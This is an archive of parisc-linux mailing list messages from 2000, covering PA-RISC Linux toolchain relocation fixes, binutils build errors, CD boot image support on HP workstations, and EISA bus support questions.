References: <Pine.LNX.4.21.0010241541510.11525-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619206 4967 80.91.229.3 (22 Nov 2014 01:20:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:06 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Oct 24 00:19:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA10608
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 00:19:11 -0600
Original-Received: (qmail 31885 invoked by uid 15267); 24 Oct 2000 06:20:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31874 invoked from network); 24 Oct 2000 06:20:40 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 06:20:40 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA06176;
	Tue, 24 Oct 2000 17:19:17 +1100
In-Reply-To: <Pine.LNX.4.21.0010241541510.11525-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8191

On Tue, 24 Oct 2000, Alan Modra wrote:

> The problem occurs when ld.so is relocating itself, ie. during
> ELF_DYNAMIC_RELOCATE (&bootstrap_map, 0, 0).  I looked at fixing the
> dynamic linker, but it's a complete pain to do as a lot of things aren't
> set up at bootstrap stage.  _Much_ easier to fix the compiler as per the
> following diff.  I've tested this on hppa-linux, and a newly built glibc
> has no .rela.rodata in ld.so or libc.so.

Um, that's only half the problem solved.  The other difficulty is with the
.PARISC.unwind section which happens to be read-only and full of DIR32
relocs for hppa-linux.  hppa64-linux uses SEGREL relocs, which don't need
to be copied to shared libs since as their name implies, they are
relative.

I'm inclined to change the 32-bit ELF unwind section over to using SEGREL
relocs too.  Since gdb support isn't finished yet, we won't be breaking
anything.  Comments?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Servio E. Cabrera" <servio.cabrera@mobilix.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] CD image does not recognize the SCSI Hard Driv
	es! on C110
Date: Tue, 24 Oct 2000 11:21:07 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <818F6C8F771DD211B5EA0008C7FABF4B02BB1AAA@ms08.mobilix.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619207 4970 80.91.229.3 (22 Nov 2014 01:20:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:07 +0000 (UTC)
Cc: "Parisc-Linux mailing list \(E-mail\)" <parisc-linux@thepuffingroup.com>
To: "'Grant Grundler'" <grundler@cup.hp.com>
Original-X-From: servio.cabrera@mobilix.dk  Tue Oct 24 03:17:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA11875
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 03:17:52 -0600
Original-Received: (qmail 23492 invoked by uid 15267); 24 Oct 2000 09:19:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23479 invoked from network); 24 Oct 2000 09:19:08 -0000
Original-Received: from orbix.mobilix.dk (root@212.97.216.244)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 09:19:08 -0000
Original-Received: from ms04.mobilix.dk (ms04.mobilix.dk [172.16.1.24])
	by orbix.mobilix.dk (8.11.0/8.11.0) with SMTP id e9O6IHq12849
	for <parisc-linux@thepuffingroup.com>; Tue, 24 Oct 2000 08:18:17 +0200
Original-Received: FROM ms07.mobilix.dk BY ms04.mobilix.dk ; Tue Oct 24 11:21:09 2000 +0100
Original-Received: by ms07.mobilix.dk with Internet Mail Service (5.5.2650.21)
	id <4ZHS49VF>; Tue, 24 Oct 2000 11:21:09 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8192

-----BEGIN PGP SIGNED MESSAGE-----

Is there any plan to create a newer CD image? with broader support?

- -----Original Message-----
From: Grant Grundler [mailto:grundler@cup.hp.com]
Sent: 23. oktober 2000 17:51
To: Servio E. Cabrera
Cc: Parisc-Linux mailing list (E-mail)
Subject: Re: [parisc-linux] CD image does not recognize the SCSI Hard
Drives! on C110 


"Servio E. Cabrera" wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> Hello:
> 
> I have booted the CD image on several machines and does not
> recognize the SCSI HarD drive, the machine I have a HP9000 s700 /
> c110.

Hi Servio,
Just to be clear, is this the CD Image v0.1 dated August 4th, 2000?
(this was made especially for San Jose Linux World Expo)

If so, then you didn't see the printing on the CD we handed out:
 "Bootable on HP 712, A180, B180 and other systems"

"other" mostly means very old workstations (715/735/etc) and
excludes systems with an I/O MMU (any C, J, L, or N-class for
example).

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

iQEVAwUBOfVUGVI12LBR8vnZAQEyHQf9Hcae3C9teddPE8rt3JVL10xUnkuAeBtk
jAeyjOD+rSM3NGOkQd2lo6UpMRLRH/pxlp+avnbtk9kIajxnOS2cn0cu7NqrXfBO
bpRHVTiMB+paINsDN/juJWcyEPuQmNYX/IUsUqwBNr4h/F/HhavvMpob75MHWHp6
O91V55Ca/X0pSXIUM7JNOdZorGUBBNhEEMtxfgJ9emp+KwHxngcFoj6v35FTStMQ
qv6UAPcFg6uKGTd+ER/6ZYDyRldUYDMzvdRQ7bKHD35QqXthor4aM8cCcl05f31E
w2XvYfUyNPlSUE8aVvmEg7tM1IsHn0qZ8mnMD1lh3cCiD/ZkJBO6ZQ==
=0PuK
-----END PGP SIGNATURE-----


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stoyan Zoubev" <s_zoubev@prosyst.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Error building binutils
Date: Tue, 24 Oct 2000 15:29:45 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <010401c03dbe$7954b910$0bcea8c0@psb>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0101_01C03DCF.3CCB1280"
X-Trace: ger.gmane.org 1416619207 4972 80.91.229.3 (22 Nov 2014 01:20:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:07 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: s_zoubev@prosyst.bg  Tue Oct 24 06:28:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA15215
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 06:28:00 -0600
Original-Received: (qmail 15890 invoked by uid 15267); 24 Oct 2000 12:29:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15869 invoked from network); 24 Oct 2000 12:29:28 -0000
Original-Received: from unknown (HELO ns.prosyst.bg) (212.56.7.35)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 12:29:28 -0000
Original-Received: (qmail 15231 invoked from network); 24 Oct 2000 12:30:30 -0000
Original-Received: from gw1.prosyst.bg (HELO zoubev) (212.56.7.50)
  by ns.prosyst.bg with SMTP; 24 Oct 2000 12:30:30 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:8193

This is a multi-part message in MIME format.

------=_NextPart_000_0101_01C03DCF.3CCB1280
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,=20

I am trying to build the linux kernel for HP PA-RISC target on an =
Intel-based Linux machine, following the instructions in "Getting =
started with Linux/PARISC: How to Build the Toolchain":
I am using binutils-2.10, gcc-2.95.2, glibc-2.1.3. And when I run

<path to binutils sources>/configure --host=3Di386-linux =
--prefix=3D/opt/parisc -- \         target=3Dhppa-linux =
--enable-targets=3Dhppa64-linux --disable-nls

I get the following error:=20
...
*** BFD does not support target hppa64-linux.
*** Look in bfd/config.bfd for supported targets.
Configure in /home/zoubev/build/binutils/opcodes failed, exiting.

Can someone explain me what the problem is? Do I have to download =
binutils-latest.tar.gz, gcc-latest.tar.gz, glibc-latest.tar.gz from =
ftp://puffin.external.hp.com?

Best regards,
St.Zoubev

------=_NextPart_000_0101_01C03DCF.3CCB1280
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi, </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am trying to build the linux kernel =
for&nbsp;HP=20
PA-RISC target on an&nbsp;Intel-based Linux machine, following the =
instructions=20
in "Getting started with Linux/PARISC: How to Build the =
Toolchain":</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I am using binutils-2.10, gcc-2.95.2, =
glibc-2.1.3.=20
And when I run</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&lt;path to binutils =
sources&gt;/configure=20
--host=3Di386-linux --prefix=3D/opt/parisc -- \ &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; target=3Dhppa-linux --enable-targets=3Dhppa64-linux=20
--disable-nls</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I get the following error: =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>*** BFD does not support target=20
hppa64-linux.<BR>*** Look in bfd/config.bfd for supported =
targets.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Configure in =
/home/zoubev/build/binutils/opcodes=20
failed, exiting.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Can someone explain me what the problem =
is?&nbsp;Do=20
I have to&nbsp;download binutils-latest.tar.gz, gcc-latest.tar.gz,=20
glibc-latest.tar.gz from&nbsp;<A=20
href=3D"ftp://puffin.external.hp.com">ftp://puffin.external.hp.com</A>?</=
FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>St.Zoubev</FONT></DIV></BODY></HTML>

------=_NextPart_000_0101_01C03DCF.3CCB1280--


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error building binutils
Date: Wed, 25 Oct 2000 00:09:29 +1100 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010250004280.11525-100000@front.linuxcare.com.au>
References: <010401c03dbe$7954b910$0bcea8c0@psb>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619207 4978 80.91.229.3 (22 Nov 2014 01:20:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Stoyan Zoubev <s_zoubev@prosyst.bg>
Original-X-From: alan@linuxcare.com.au  Tue Oct 24 07:08:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA15966
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 07:08:22 -0600
Original-Received: (qmail 24297 invoked by uid 15267); 24 Oct 2000 13:09:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24278 invoked from network); 24 Oct 2000 13:09:50 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 13:09:50 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA13675;
	Wed, 25 Oct 2000 00:09:29 +1100
In-Reply-To: <010401c03dbe$7954b910$0bcea8c0@psb>
Xref: news.gmane.org gmane.linux.ports.parisc:8194

On Tue, 24 Oct 2000, Stoyan Zoubev wrote:

> Hi, 
> 
> I am trying to build the linux kernel for HP PA-RISC target on an Intel-based Linux machine, following the instructions in "Getting started with Linux/PARISC: How to Build the Toolchain":
> I am using binutils-2.10, gcc-2.95.2, glibc-2.1.3. And when I run

None of these versions have the support you need for pa-linux.

> 
> <path to binutils sources>/configure --host=i386-linux --prefix=/opt/parisc -- \         target=hppa-linux --enable-targets=hppa64-linux --disable-nls
> 
> I get the following error: 
> ...
> *** BFD does not support target hppa64-linux.
> *** Look in bfd/config.bfd for supported targets.
> Configure in /home/zoubev/build/binutils/opcodes failed, exiting.
> 
> Can someone explain me what the problem is? Do I have to download binutils-latest.tar.gz, gcc-latest.tar.gz, glibc-latest.tar.gz from ftp://puffin.external.hp.com?

Yes.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug in shared libraries
Date: Wed, 25 Oct 2000 01:09:32 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010250103340.11525-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0010241707160.11525-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619208 4980 80.91.229.3 (22 Nov 2014 01:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:08 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Oct 24 08:10:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA16821
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 08:10:00 -0600
Original-Received: (qmail 395 invoked by uid 15267); 24 Oct 2000 14:11:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 357 invoked from network); 24 Oct 2000 14:11:29 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 14:11:29 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA16177;
	Wed, 25 Oct 2000 01:09:32 +1100
In-Reply-To: <Pine.LNX.4.21.0010241707160.11525-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8195

I've just committed a set of changes to binutils on pehc that should fix
the .PARISC.unwind section.  To build a good ld.so, you'll need to
recompile gcc (or at least libgcc) as well as glibc.  No more DT_TEXTREL
tags!

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] CD image does not recognize the SCSI Hard Driv
	 es! on C110
Date: Tue, 24 Oct 2000 07:32:16 -0700
Lines: 80
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C20841F9C5@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619208 4986 80.91.229.3 (22 Nov 2014 01:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:08 +0000 (UTC)
Cc: "Parisc-Linux mailing list \(E-mail\)" <parisc-linux@thepuffingroup.com>
To: "'Servio E. Cabrera'" <servio.cabrera@mobilix.dk>
Original-X-From: alan_meyer@hp.com  Tue Oct 24 08:33:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA17498
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 08:33:23 -0600
Original-Received: (qmail 31042 invoked by uid 15267); 24 Oct 2000 14:34:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31025 invoked from network); 24 Oct 2000 14:34:53 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 14:34:53 -0000
Original-Received: from amrelay1.boi.hp.com (amrelay1.boi.hp.com [15.56.8.24])
	by palrel3.hp.com (Postfix) with ESMTP
	id 2C9FC7F9; Tue, 24 Oct 2000 07:34:52 -0700 (PDT)
Original-Received: from xpabh1.boi.hp.com (xpabh1.boi.hp.com [15.56.8.33])
	by amrelay1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id IAA13919;
	Tue, 24 Oct 2000 08:34:45 -0600 (MDT)
Original-Received: by xpabh1.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <VQSR2WCG>; Tue, 24 Oct 2000 07:34:44 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8196

Servio -

Yes, there are plans to create newer CD images.  In particular, we want to
build a newer "beta" image that, like the first image, works on selected
32-bit systems (712, B180, A180, ...).  This will have a fuller and more
robust kernel, along with a decent set of user-space packages.  This should
be in early November.

In addition, there will also be a similar "beta" image that support 64-bit
systems (A400/500, L1000/2000) that happens sometime later.

Stay tuned.  There should be announcements on the mailing list when these
images are ready.

Alan

>-----Original Message-----
>From: Servio E. Cabrera [mailto:servio.cabrera@mobilix.dk]
>Sent: Tuesday, October 24, 2000 4:21 AM
>To: 'Grant Grundler'
>Cc: Parisc-Linux mailing list (E-mail)
>Subject: RE: [parisc-linux] CD image does not recognize the SCSI Hard
>Driv es! on C110 
>
>
>
>*** PGP Signature Status: unknown
>*** Signer: Unknown, Key ID = 0x51F2F9D9
>*** Signed: 10/24/00 3:19:21 AM
>*** Verified: 10/24/00 8:32:03 AM
>*** BEGIN PGP VERIFIED MESSAGE ***
>
>Is there any plan to create a newer CD image? with broader support?
>
>-----Original Message-----
>From: Grant Grundler [mailto:grundler@cup.hp.com]
>Sent: 23. oktober 2000 17:51
>To: Servio E. Cabrera
>Cc: Parisc-Linux mailing list (E-mail)
>Subject: Re: [parisc-linux] CD image does not recognize the SCSI Hard
>Drives! on C110 
>
>
>"Servio E. Cabrera" wrote:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> 
>> Hello:
>> 
>> I have booted the CD image on several machines and does not
>> recognize the SCSI HarD drive, the machine I have a HP9000 s700 /
>> c110.
>
>Hi Servio,
>Just to be clear, is this the CD Image v0.1 dated August 4th, 2000?
>(this was made especially for San Jose Linux World Expo)
>
>If so, then you didn't see the printing on the CD we handed out:
> "Bootable on HP 712, A180, B180 and other systems"
>
>"other" mostly means very old workstations (715/735/etc) and
>excludes systems with an I/O MMU (any C, J, L, or N-class for
>example).
>
>grant
>
>Grant Grundler
>Unix Systems Enablement Lab
>+1.408.447.7253
>
>
>*** END PGP VERIFIED MESSAGE ***
>
>---------------------------------------------------------------
>------------
>To unsubscribe: send e-mail to 
>parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.
>


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot problems with CD image
Date: Tue, 24 Oct 2000 16:12:10 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20001024161210.A20237@parcelfarce.linux.theplanet.co.uk>
References: <39F4D2D9.3646D1@buttafuoco.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619208 4989 80.91.229.3 (22 Nov 2014 01:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:08 +0000 (UTC)
Cc: PARISC-LINUX Mailing List <parisc-linux@thepuffingroup.com>
To: Jim Buttafuoco <jim@buttafuoco.org>
Original-X-From: willy@www.linux.org.uk  Tue Oct 24 09:10:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18224
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 09:10:48 -0600
Original-Received: (qmail 17500 invoked by uid 15267); 24 Oct 2000 15:12:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17485 invoked from network); 24 Oct 2000 15:12:17 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 15:12:17 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13o5kI-0005Pc-00; Tue, 24 Oct 2000 16:12:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <39F4D2D9.3646D1@buttafuoco.org>; from jim@buttafuoco.org on Mon, Oct 23, 2000 at 08:07:53PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8197

On Mon, Oct 23, 2000 at 08:07:53PM -0400, Jim Buttafuoco wrote:
> Hi,
> 
>     I downloaded the CD image from the FTP site in order to boot my 710
> system.  It failed, attached is the output from the serial port.

iirc, this is a known bug in the version of the parallel port code
which was built for the image.  there's certainly something about it in
the archives.  you'll need to build a new kernel for this machine.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Support for(E)ISA ?
Date: Tue, 24 Oct 2000 18:12:22 +0200
Organization: Gridware GmbH
Lines: 27
Approved: news@gmane.org
Message-ID: <39F5B4E6.E85B9357@deathsdoor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619209 4990 80.91.229.3 (22 Nov 2014 01:20:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:09 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: xam@deathsdoor.com  Tue Oct 24 10:11:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19056
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 10:11:32 -0600
Original-Received: (qmail 10468 invoked by uid 15267); 24 Oct 2000 16:12:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10447 invoked from network); 24 Oct 2000 16:12:58 -0000
Original-Received: from gimli.genias.de (qmailr@192.129.37.12)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 16:12:58 -0000
Original-Received: (qmail 22825 invoked from network); 24 Oct 2000 16:12:23 -0000
Original-Received: from bolek.genias.de (192.129.37.46)
  by gimli.genias.de with SMTP; 24 Oct 2000 16:12:23 -0000
Original-Received: from deathsdoor.com by BOLEK.genias.de (8.8.8/1.1.22.3/28Sep99-1056PM)
	id SAA0000200479; Tue, 24 Oct 2000 18:12:22 +0200 (MEST)
Original-Sender: xam@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; OSF1 V5.0 alpha)
X-Accept-Language: de-DE, de, en
Xref: news.gmane.org gmane.linux.ports.parisc:8198

hello there,

i wonder if there is support for the (E)ISA bus or if it is planned (for
the near future/at all).
i have a HP9000/730 and a HP9000/809 F10, and i want to use the first
one to test Linux/hppa
(since i don't have HP/UX and i don't want to install it 'though i could
get it ...).

The 730 has a free EISA slot, and i want to put in a ISA card (WaveLan
PCMCIA-to-ISA-adaptor,
including WireLessLan-PCMCIA-card) sometime in the future ... if it is
possible.

So since this configuration is supported by linux(/x86), i ask you:
- is the support for (E)ISA on linux/x86 a sign/indication/hope/guaratee
for support on linux/hppa ?
- the same question for the WaveLan-driver

I just read the status page (puffin) that there is somebody working on
"WAX EISA support",
so i assume there IS a support for the EISA (and ISA) bus for
linux/hppa, i'm wrong ?

thanks in advance, max



From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some things to do...
Date: Fri, 16 Apr 1999 16:22:59 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <199904162022.QAA00184@lucifier.dial-up.user.akula.net>
References: <Pine.LNX.3.96.990416155029.27211L-100000@devserv.devel.redhat.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619209 4994 80.91.229.3 (22 Nov 2014 01:20:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@redhat.com (Alex deVries)
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Fri Apr 16 16:24:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA17100
	for <parisc-linux@sod.res.cmu.edu>; Fri, 16 Apr 1999 16:24:12 -0400
Original-Received: (qmail 28689 invoked by uid 15267); 16 Apr 1999 20:22:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28679 invoked from network); 16 Apr 1999 20:22:51 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 16 Apr 1999 20:22:51 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id QAA00184;
	Fri, 16 Apr 1999 16:22:59 -0400 (EDT)
In-Reply-To: <Pine.LNX.3.96.990416155029.27211L-100000@devserv.devel.redhat.com> from Alex deVries at "Apr 16, 99 04:01:45 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:8199

Making, drinking tea and reading an opus magnum from Alex deVries:
> 
